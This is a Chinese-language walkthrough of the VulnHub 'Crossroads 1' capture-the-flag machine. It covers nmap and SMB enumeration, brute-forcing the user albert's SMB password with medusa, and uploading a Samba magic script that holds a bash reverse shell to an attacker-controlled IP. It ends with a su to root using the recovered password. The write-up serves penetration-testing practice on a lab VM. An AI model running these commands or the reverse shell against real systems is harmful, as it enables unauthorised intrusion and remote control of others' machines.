[vulnhub]Crossroads_1

get flags

difficulty: easy

无法获得靶机地址可以参考文章:Vulnhub靶机检测不到IP地址

PS: 如果靶机没有安装vim,可以使用sed命令修改网卡

1
sed -i "s/原网卡/现网卡/g" /etc/network/interfacers

信息收集

1
2
nmap -sP 192.168.150.1/24
nmap --min-rate 10000 -T4 -A -sC 192.168.150.134

扫描结果

PORT    STATE SERVICE     VERSION
80/tcp  open  http        Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/crossroads.png
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 12 Step Treatment Center | Crossroads Centre Antigua
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
Service Info: Host: CROSSROADS

渗透过程

SMB渗透

80端口没找到洞,直接转换方向,寻找139和445端口服务是否存在漏洞,搜寻一番发现这两个端口与SMB渗透有关,通过文章渗透测试中SMB服务漏洞检查checklist了解SMB基本的渗透思路及工具使用

先列共享文件

1
smbmap -H 192.168.150.134

结果

Disk                                                    Permissions     Comment
----                                                    -----------     -------
print$                                                  NO ACCESS       Printer Drivers
smbshare                                                NO ACCESS
IPC$                                                    NO ACCESS       IPC Service (Samba 4.9.5-Debian)

看到共享文件夹smbshare,但是没有权限访问,扫描漏洞也没有结果。那只能使用文章中提到的enum4linux工具进行整体扫描:

1
enum4linux -a 192.168.150.134

找到本地用户albert

S-1-5-21-198007098-3908253677-2746664996-1001 CROSSROADS\albert (Local User)

有用户还需要密码,咋整,爆他,参考文章https://www.cnblogs.com/-wenli/p/10107643.html

1
medusa -h 192.168.150.134 -u albert -P /usr/share/wordlists/rockyou.txt -M smbnt # 自带的其他字典都不行

获得密码bradley1,接下来尝试登陆访问共享文件下载文件

1
2
smbclient //192.168.150.134/smbshare -U albert # smb.conf
smbclient //192.168.150.134/albert -U albert # crossroads.png、beroot、user.txt

参考文章https://zhidao.baidu.com/question/535992302.html使用get命令下载user.txt获得第一个flag。

beroot

除了user.txt,我们还可以看到用户目录下还有beroot可执行文件,执行了它可能成为root,那要怎么执行呢?

从smb.conf中我们可以知道

[smbshare]

path = /home/albert/smbshare
valid users = albert
browsable = yes
writable = yes
read only = no
magic script = smbscript.sh
guest ok = no

根据文章https://www.oreilly.com/openbook/samba/book/ch08_02.html可知,魔术脚本会在用户打开或关闭文件后执行,因此我们可以通过上传自定义smbscript.sh脚本反弹shell后执行。

1
2
3
4
5
6
# 创建文件
echo "bash -c 'bash -i >& /dev/tcp/192.168.150.128/4444 0>&1'" > smbscript.sh
chmod 777 smbscript.sh
# 上传脚本
smbclient //192.168.150.134/smbshare -U albert
put smbscript.sh

成功反弹shell,然后尝试执行beroot,却提示需要密码,想到此处存在一个png图片=>隐写(wdnmd

隐写部分懒得做了,快进到获得root密码___drifting___,直接su登录root读取root.txt获得flag。

参考

https://www.cnblogs.com/-wenli/p/10107643.html

Crossroads 1 Vulnhub Walkthrough

渗透测试中SMB服务漏洞检查checklist

https://zhidao.baidu.com/question/535992302.html